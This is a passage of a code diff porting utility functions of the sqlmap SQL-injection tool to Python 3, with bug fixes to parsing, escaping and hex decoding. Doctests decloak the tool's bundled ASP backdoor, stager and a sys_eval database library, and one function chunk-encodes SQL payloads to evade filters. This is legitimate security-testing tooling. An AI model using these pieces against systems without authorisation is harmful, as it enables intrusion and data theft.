__init__(self): def safeCSValue(value): """ Returns value safe for CSV dumping - Reference: http://tools.ietf.org/html/rfc4180 - >>> safeCSValue(u'foo, bar') - u'"foo, bar"' - >>> safeCSValue(u'foobar') - u'foobar' + # Reference: http://tools.ietf.org/html/rfc4180 + + >>> safeCSValue('foo, bar') + '"foo, bar"' + >>> safeCSValue('foobar') + 'foobar' + >>> safeCSValue('foo\\rbar') + '"foo\\rbar"' + >>> safeCSValue('foo"bar') == '"foo""bar"' + True """ retVal = value - if retVal and isinstance(retVal, basestring): - if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): - retVal = '"%s"' % retVal.replace('"', '""') + # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an + # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose + # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"') + if retVal and isinstance(retVal, six.string_types): + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): + retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -3407,39 +4674,68 @@ def filterPairValues(values): retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): - retVal = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values) + retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2] return retVal def randomizeParameterValue(value): """ - Randomize a parameter value based on occurances of alphanumeric characters + Randomize a parameter value based on occurrences of alphanumeric characters >>> random.seed(0) >>> randomizeParameterValue('foobar') - 'rnvnav' + 'fupgpy' >>> randomizeParameterValue('17') - '83' + '36' """ retVal = value - value = re.sub(r"%[0-9a-fA-F]{2}", "", value) + def _replace_upper(match): + original = match.group() + while True: + candidate = randomStr(len(original)).upper() + if candidate != original: + return candidate + + def _replace_lower(match): + original = match.group() + while True: + candidate = randomStr(len(original)).lower() + if candidate != original: + return candidate + + def _replace_digit(match): + original = match.group() + while True: + candidate = str(randomInt(len(original))) + if candidate != original: + return candidate + + def _randomize(segment): + segment = re.sub(r"[A-Z]+", _replace_upper, segment) + segment = re.sub(r"[a-z]+", _replace_lower, segment) + segment = re.sub(r"[0-9]+", _replace_digit, segment) + return segment - for match in re.finditer('[A-Z]+', value): - retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper()) + # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters; + # deleting (or randomizing) the %XX would change the value's decoded content and byte length + retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal)) - for match in re.finditer('[a-z]+', value): - retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower()) + if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): + parts = retVal.split('.') + parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] + retVal = '.'.join(parts) - for match in re.finditer('[0-9]+', value): - retVal = retVal.replace(match.group(), str(randomInt(len(match.group())))) + if not retVal: + retVal = randomStr(lowercase=True) return retVal +@cachedmethod def asciifyUrl(url, forceQuote=False): """ - Attempts to make a unicode URL usuable with ``urllib/urllib2``. + Attempts to make a unicode URL usable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, @@ -3450,25 +4746,30 @@ def asciifyUrl(url, forceQuote=False): See also RFC 3987. - Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ + # Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ - >>> asciifyUrl(u'http://www.\u0161u\u0107uraj.com') - u'http://www.xn--uuraj-gxa24d.com' + >>> asciifyUrl(u'http://www.\\u0161u\\u0107uraj.com') + 'http://www.xn--uuraj-gxa24d.com' """ - parts = urlparse.urlsplit(url) - if not parts.scheme or not parts.netloc: + parts = _urllib.parse.urlsplit(url) + if not all((parts.scheme, parts.netloc, parts.hostname)): # apparently not an url - return url + return getText(url) if all(char in string.printable for char in url): - return url + return getText(url) + + hostname = parts.hostname + + if isinstance(hostname, six.binary_type): + hostname = getUnicode(hostname) # idna-encode domain try: - hostname = parts.hostname.encode("idna") - except LookupError: - hostname = parts.hostname.encode(UNICODE_ENCODING) + hostname = hostname.encode("idna") + except: + hostname = hostname.encode("punycode") # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user @@ -3477,10 +4778,10 @@ def asciifyUrl(url, forceQuote=False): def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: - # urllib.quote(s.replace('%', '')) != s.replace('%', '') + # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". - if s.encode("ascii", "replace") != s or forceQuote: - return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) + if getUnicode(s).encode("ascii", "replace") != s or forceQuote: + s = _urllib.parse.quote(getBytes(s), safe=safe) return s username = quote(parts.username, '') @@ -3489,7 +4790,7 @@ def quote(s, safe): query = quote(parts.query, safe="&=") # put everything back together - netloc = hostname + netloc = getText(hostname) if username or password: netloc = '@' + netloc if password: @@ -3504,13 +4805,15 @@ def quote(s, safe): if port: netloc += ':' + str(port) - return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) + return getText(_urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url) def isAdminFromPrivileges(privileges): """ - Inspects privileges to see if those are comming from an admin user + Inspects privileges to see if those are coming from an admin user """ + privileges = privileges or [] + # In PostgreSQL the usesuper privilege means that the # user is DBA retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) @@ -3529,26 +4832,29 @@ def isAdminFromPrivileges(privileges): # In Firebird there is no specific privilege that means # that the user is DBA - # TODO: confirm retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) return retVal -def findPageForms(content, url, raise_=False, addToTargets=False): +def findPageForms(content, url, raiseException=False, addToTargets=False): """ - Parses given page content for possible forms + Parses given page content for possible forms (Note: still not implemented for Python3) + + >>> findPageForms('
', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)]) + True """ - class _(StringIO): + class _(six.StringIO, object): def __init__(self, content, url): - StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) + super(_, self).__init__(content) self._url = url + def geturl(self): return self._url if not content: errMsg = "can't parse forms as the page content appears to be blank" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -3559,67 +4865,101 @@ def geturl(self): try: forms = ParseResponse(response, backwards_compat=False) - except UnicodeError: - pass except ParseError: - if ">> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php') + True + >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php') + False + """ + + if not urls: + return None + elif len(urls) == 1: + return True + else: + def _(value): + if value and not re.search(r"\A\w+://", value): + value = "http://%s" % value + return value + + first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or "" + first = re.sub(r"(?i)\Awww\.", "", first) + + for url in urls[1:]: + current = _urllib.parse.urlparse(_(url) or "").hostname or "" + current = re.sub(r"(?i)\Awww\.", "", current) + + if current != first: + return False + + return True + def getHostHeader(url): """ Returns proper Host header value for a given target URL >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' + >>> getHostHeader('http://[::1]:8080/vuln.php?id=1') + '[::1]:8080' + >>> getHostHeader('http://[::1]/vuln.php?id=1') + '[::1]' """ retVal = url if url: - retVal = urlparse.urlparse(url).netloc + retVal = _urllib.parse.urlparse(url).netloc + + # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are + # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports + # (e.g. '[::1]:8080') as required by RFC 7230 + if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + retVal = retVal[:retVal.rfind(':')] - if re.search("http(s)?://\[.+\]", url, re.I): - retVal = extractRegexResult("http(s)?://\[(?P.+)\]", url) - elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): - retVal = retVal.split(':')[0] + if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): + retVal = "[%s]" % retVal return retVal -def checkDeprecatedOptions(args): +def checkOldOptions(args): """ - Checks for deprecated options + Checks for obsolete/deprecated options """ for _ in args: - if _ in DEPRECATED_OPTIONS: - errMsg = "switch/option '%s' is deprecated" % _ - if DEPRECATED_OPTIONS[_]: - errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + _ = _.split('=')[0].strip() + if _ in OBSOLETE_OPTIONS: + errMsg = "switch/option '%s' is obsolete" % _ + if OBSOLETE_OPTIONS[_]: + errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] raise SqlmapSyntaxException(errMsg) + elif _ in DEPRECATED_OPTIONS: + warnMsg = "switch/option '%s' is deprecated" % _ + if DEPRECATED_OPTIONS[_]: + warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + logger.warning(warnMsg) def checkSystemEncoding(): """ @@ -3678,30 +5064,36 @@ def checkSystemEncoding(): logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" - logger.warn(warnMsg) + logger.warning(warnMsg) - reload(sys) + _reload_module(sys) sys.setdefaultencoding("cp1256") def evaluateCode(code, variables=None): """ Executes given python code given in a string form + + >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"] + 1 """ try: exec(code, variables) except KeyboardInterrupt: raise - except Exception, ex: + except Exception as ex: errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) def serializeObject(object_): """ Serializes given object + + >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str + True """ - return base64pickle(object_) + return serializeValue(object_) def unserializeObject(value): """ @@ -3709,9 +5101,11 @@ def unserializeObject(value): >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True + >>> unserializeObject(serializeObject('foobar')) == 'foobar' + True """ - return base64unpickle(value) if value else None + return deserializeValue(value) if value else None def resetCounter(technique): """ @@ -3725,11 +5119,21 @@ def incrementCounter(technique): Increments query counter for a given technique """ - kb.counters[technique] = getCounter(technique) + 1 + # Note: the read-modify-write must be atomic since worker threads increment concurrently; + # guard with the shared 'count' lock when available (it is absent in isolated/doctest use) + lock = kb.locks.count if kb.get("locks") else None + if lock is not None: + with lock: + kb.counters[technique] = getCounter(technique) + 1 + else: + kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ Returns query counter for a given technique + + >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED) + 1 """ return kb.counters.get(technique, 0) @@ -3749,34 +5153,58 @@ def applyFunctionRecursively(value, function): return retVal -def decodeHexValue(value, raw=False): +def decodeDbmsHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation - >>> decodeHexValue('3132332031') - u'123 1' + >>> decodeDbmsHexValue('3132332031') == u'123 1' + True + >>> decodeDbmsHexValue('31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('00310032003300200031') == u'123 1' + True + >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('313233203') == u'123 ?' + True + >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] + True + >>> decodeDbmsHexValue('5.1.41') == u'5.1.41' + True """ retVal = value def _(value): retVal = value - if value and isinstance(value, basestring) and len(value) % 2 == 0: - retVal = hexdecode(retVal) + if value and isinstance(value, six.string_types): + value = value.strip() - if not kb.binaryField and not raw: - if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): - try: - retVal = retVal.decode("utf-16-le") - except UnicodeDecodeError: - pass - elif Backend.isDbms(DBMS.HSQLDB): - try: - retVal = retVal.decode("utf-16-be") - except UnicodeDecodeError: - pass - if not isinstance(retVal, unicode): - retVal = getUnicode(retVal, "utf8") + if len(value) % 2 != 0: + retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value + singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) + else: + retVal = decodeHex(value) + + if not raw: + if not kb.binaryField: + if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): + try: + retVal = retVal.decode("utf-16-le") + except UnicodeDecodeError: + pass + + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): + try: + retVal = retVal.decode("utf-16-be") + except UnicodeDecodeError: + pass + + if not isinstance(retVal, six.text_type): + retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) + + if u"\x00" in retVal: + retVal = retVal.replace(u"\x00", u"") return retVal @@ -3793,8 +5221,14 @@ def extractExpectedValue(value, expected): >>> extractExpectedValue(['1'], EXPECTED.BOOL) True + >>> extractExpectedValue(['17'], EXPECTED.BOOL) + True + >>> extractExpectedValue(['0'], EXPECTED.BOOL) + False >>> extractExpectedValue('1', EXPECTED.INT) 1 + >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None + True """ if expected: @@ -3805,19 +5239,23 @@ def extractExpectedValue(value, expected): elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) - elif isinstance(value, basestring): + elif isinstance(value, six.string_types): value = value.strip().lower() if value in ("true", "false"): value = value == "true" - elif value in ("1", "-1"): - value = True - elif value == "0": + elif value in ('t', 'f'): + value = value == 't' + elif value == '0': value = False + elif re.search(r"\A-?[1-9]\d*\Z", value): + value = True else: value = None elif expected == EXPECTED.INT: - if isinstance(value, basestring): - value = int(value) if value.isdigit() else None + try: + value = int(value) + except: + value = None return value @@ -3826,18 +5264,24 @@ def hashDBWrite(key, value, serialize=False): Helper function for writing session data to HashDB """ - _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) - conf.hashDB.write(_, value, serialize) + if conf.hashDB: + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ - _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) - retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None - if not kb.inferenceMode and not kb.fileReadMode and any(_ in (retVal or "") for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): - retVal = None + retVal = None + + if conf.hashDB: + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None + + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): + retVal = None + return retVal def resetCookieJar(cookieJar): @@ -3854,12 +5298,13 @@ def resetCookieJar(cookieJar): logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) - lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#'))) - handle, filename = tempfile.mkstemp(prefix="sqlmapcj-") + content = re.sub("(?im)^#httpOnly_", "", content) + lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html - with open(filename, "w+b") as f: + with openFile(filename, "w+") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") @@ -3872,7 +5317,7 @@ def resetCookieJar(cookieJar): cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: - if cookie.expires < time.time(): + if getattr(cookie, "expires", MAX_INT) < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) @@ -3882,27 +5327,33 @@ def resetCookieJar(cookieJar): errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) - except cookielib.LoadError, msg: + except Exception as ex: errMsg = "there was a problem loading " - errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg)) + errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension - """ - content = decloak(filename) + NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform - _ = utf8encode(os.path.split(filename[:-1])[-1]) + >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%') + True + >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%') + True + >>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) + True + """ - prefix, suffix = os.path.splitext(_) - prefix = prefix.split(os.extsep)[0] + content = decloak(filename) + parts = os.path.split(filename[:-1])[-1].split('.') + prefix, suffix = parts[0], '.' + parts[-1] handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) - with open(filename, "w+b") as f: + with openFile(filename, "w+b", encoding=None) as f: f.write(content) return filename @@ -3912,23 +5363,36 @@ def prioritySortColumns(columns): Sorts given column names by length in ascending order while those containing string 'id' go first - >>> prioritySortColumns(['password', 'userid', 'name']) - ['userid', 'name', 'password'] + >>> prioritySortColumns(['password', 'userid', 'name', 'id']) + ['id', 'userid', 'name', 'password'] """ - _ = lambda x: x and "id" in x.lower() - return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) + recompile = re.compile(r"^id|id$", re.I) + + return sorted(columns, key=lambda col: ( + not (col and recompile.search(col)), + len(col) + )) def getRequestHeader(request, name): """ Solving an issue with an urllib2 Request header case sensitivity - Reference: http://bugs.python.org/issue2275 + # Reference: http://bugs.python.org/issue2275 + + >>> _ = lambda _: _ + >>> _.headers = {"FOO": "BAR"} + >>> _.header_items = lambda: _.headers.items() + >>> getText(getRequestHeader(_, "foo")) + 'BAR' """ retVal = None - if request and name: - retVal = max(value if name.upper() == key.upper() else None for key, value in request.header_items()) + + if request and request.headers and name: + _ = name.upper() + retVal = max(getBytes(value if _ == key.upper() else "") for key, value in request.header_items()) or None + return retVal def isNumber(value): @@ -3954,18 +5418,39 @@ def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level regarding the parentheses + + >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] + 'FROM DUAL' + >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] + ',d;e' """ retVal = [] depth = 0 - for index in xrange(len(expression)): - if expression[index] == '(': + quote = None + index = 0 + while index < len(expression): + char = expression[index] + if quote: # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y') + if char == quote: + if index + 1 < len(expression) and expression[index + 1] == quote: # escaped quote (e.g. '') + index += 1 + else: + quote = None + elif char in ('"', "'"): + quote = char + elif char == '(': depth += 1 - elif expression[index] == ')': + elif char == ')': depth -= 1 - elif depth == 0 and expression[index:index + len(value)] == value: - retVal.append(index) + elif depth == 0: + if value.startswith('[') and value.endswith(']'): + if re.search(value, expression[index:index + 1]): + retVal.append(index) + elif expression[index:index + len(value)] == value: + retVal.append(index) + index += 1 return retVal @@ -3975,21 +5460,52 @@ def splitFields(fields, delimiter=','): >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] - """ + >>> splitFields("a, 'b, c', d") + ['a', "'b, c'", 'd'] + >>> splitFields('a; b; max(c; d)', delimiter=';') + ['a', 'b', 'max(c;d)'] + """ + + # collapse " " -> "" but only OUTSIDE quoted string literals, so a + # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch) + normalized = [] + quote = None + index = 0 + while index < len(fields): + char = fields[index] + if quote: + normalized.append(char) + if char == quote: + if index + 1 < len(fields) and fields[index + 1] == quote: # escaped quote (e.g. '') + normalized.append(fields[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + normalized.append(char) + elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ': + normalized.append(char) # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + normalized.append(char) + index += 1 - fields = fields.replace("%s " % delimiter, delimiter) - commas = [-1, len(fields)] - commas.extend(zeroDepthSearch(fields, ',')) - commas = sorted(commas) + fields = "".join(normalized) + splits = [-1, len(fields)] + splits.extend(zeroDepthSearch(fields, delimiter)) + splits = sorted(splits) - return [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])] + return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])] def pollProcess(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ - while True: + while process: dataToStdout(".") time.sleep(1) @@ -4006,17 +5522,398 @@ def pollProcess(process, suppress_errors=False): break +def parseRequestFile(reqFile, checkParams=True): + """ + Parses WebScarab and Burp logs and adds results to the target URL list + + >>> handle, reqFile = tempfile.mkstemp(suffix=".req") + >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" + >>> _ = os.write(handle, content) + >>> os.close(handle) + >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) + True + """ + + def _parseWebScarabLog(content): + """ + Parses WebScarab logs (POST method not supported) + """ + + if WEBSCARAB_SPLITTER not in content: + return + + reqResList = content.split(WEBSCARAB_SPLITTER) + + for request in reqResList: + url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) + method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) + cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) + + if not method or not url: + logger.debug("not a valid WebScarab log data") + continue + + if method.upper() == HTTPMETHOD.POST: + warnMsg = "POST requests from WebScarab logs aren't supported " + warnMsg += "as their body content is stored in separate files. " + warnMsg += "Nevertheless you can use -r to load them individually." + logger.warning(warnMsg) + continue + + if not (conf.scope and not re.search(conf.scope, url, re.I)): + yield (url, method, None, cookie, tuple()) + + def _parseBurpLog(content): + """ + Parses Burp logs + """ + + if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): + if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + reqResList = [] + for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + port, request = match.groups() + try: + request = decodeBase64(request, binary=False) + except (binascii.Error, TypeError): + continue + _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) + if _: + host = _.group(0).strip() + if not re.search(r":\d+\Z", host) and int(port) != 80: + request = request.replace(host, "%s:%d" % (host, int(port))) + reqResList.append(request) + else: + reqResList = [content] + else: + reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) + + for match in reqResList: + request = match if isinstance(match, six.string_types) else match.group(1) + request = re.sub(r"\A[^\w]+", "", request) + schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) + + if schemePort: + scheme = schemePort.group(1) + port = schemePort.group(2) + request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) + else: + scheme, port = None, None + + if "HTTP/" not in request: + continue + + if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): + if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M): + continue + + getPostReq = False + forceBody = False + url = None + host = None + method = None + data = None + cookie = None + params = False + newline = None + lines = request.split('\n') + headers = [] + + for index in xrange(len(lines)): + line = lines[index] + + if not line.strip() and index == len(lines) - 1: + break + + line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) + + newline = "\r\n" if line.endswith('\r') else '\n' + line = line.strip('\r') + match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None + + if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None: + data = "" + params = True + + elif match: + method = match.group(1) + url = match.group(2) + + if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): + params = True + + getPostReq = True + + # POST parameters + elif data is not None and params: + data += "%s%s" % (line, newline) + + # GET parameters + elif "?" in line and "=" in line and ": " not in line: + params = True + + # Headers + elif re.search(r"\A\S+:", line): + key, value = line.split(":", 1) + value = value.strip().replace("\r", "").replace("\n", "") + + # Note: overriding values with --headers '...'; the lookbehind prevents the key + # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host' + # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header + match = re.search(r"(?i)(?\d+)\Z", value) + if port: + host = value[:-(1 + len(port))] + else: + host = value + + # Avoid to add a static content length header to + # headers and consider the following lines as + # POSTed data + if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): + forceBody = True + params = True + + # Avoid proxy and connection type related headers + elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): + headers.append((getUnicode(key), getUnicode(value))) + + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): + params = True + + data = data.rstrip("\r\n") if data else data + + if getPostReq and (params or cookie or not checkParams): + if not port and hasattr(scheme, "lower") and scheme.lower() == "https": + port = "443" + elif not scheme and port == "443": + scheme = "https" + + if conf.forceSSL: + scheme = "https" + port = port or "443" + + if not host: + errMsg = "invalid format of a request file" + raise SqlmapSyntaxException(errMsg) + + if not url.startswith("http"): + url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) + scheme = None + port = None + + if not (conf.scope and not re.search(conf.scope, url, re.I)): + yield (url, conf.method or method, data, cookie, tuple(headers)) + + content = readCachedFileContent(reqFile) + + if conf.scope: + logger.info("using regular expression '%s' for filtering targets" % conf.scope) + + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + for target in _parseBurpLog(content): + yield target + + for target in _parseWebScarabLog(content): + yield target + def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string - (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) + + >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' + True + >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar' + True """ - retVal = ex + retVal = None if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg + elif getattr(ex, "args", None): + for candidate in ex.args[::-1]: + if isinstance(candidate, six.string_types): + retVal = candidate + break + + if retVal is None: + retVal = str(ex) + elif not isinstance(ex, SqlmapBaseException): + retVal = "%s: %s" % (type(ex).__name__, retVal) + + return getUnicode(retVal or "", encoding=encoding).strip() + +def safeVariableNaming(value): + """ + Returns escaped safe-representation of a given variable name that can be used in Python evaluated code + + >>> safeVariableNaming("class.id") == "EVAL_636c6173732e6964" + True + """ + + if value in keyword.kwlist or re.search(r"\A[^a-zA-Z]|[^\w]", value): + value = "%s%s" % (EVALCODE_ENCODED_PREFIX, getUnicode(binascii.hexlify(getBytes(value)))) + + return value + +def unsafeVariableNaming(value): + """ + Returns unescaped safe-representation of a given variable name + + >>> unsafeVariableNaming("EVAL_636c6173732e6964") == "class.id" + True + """ + + if value.startswith(EVALCODE_ENCODED_PREFIX): + # Note: the suffix is only hex when produced by safeVariableNaming(); a user-defined + # name that merely happens to start with the prefix (e.g. via --eval) is left intact + try: + value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) + except (binascii.Error, ValueError, TypeError): + pass + + return value + +def firstNotNone(*args): + """ + Returns first not-None value from a given list of arguments + + >>> firstNotNone(None, None, 1, 2, 3) + 1 + """ + + retVal = None + + for _ in args: + if _ is not None: + retVal = _ + break + + return retVal + +def removePostHintPrefix(value): + """ + Remove POST hint prefix from a given value (name) + + >>> removePostHintPrefix("JSON id") + 'id' + >>> removePostHintPrefix("id") + 'id' + """ + + return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) + + +def chunkSplitPostData(data): + """ + Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) + + >>> random.seed(0) + >>> chunkSplitPostData("SELECT username,password FROM users") + '5;4Xe90\\r\\nSELEC\\r\\n3;irWlc\\r\\nT u\\r\\n1;eT4zO\\r\\ns\\r\\n5;YB4hM\\r\\nernam\\r\\n9;2pUD8\\r\\ne,passwor\\r\\n3;mp07y\\r\\nd F\\r\\n5;8RKXi\\r\\nROM 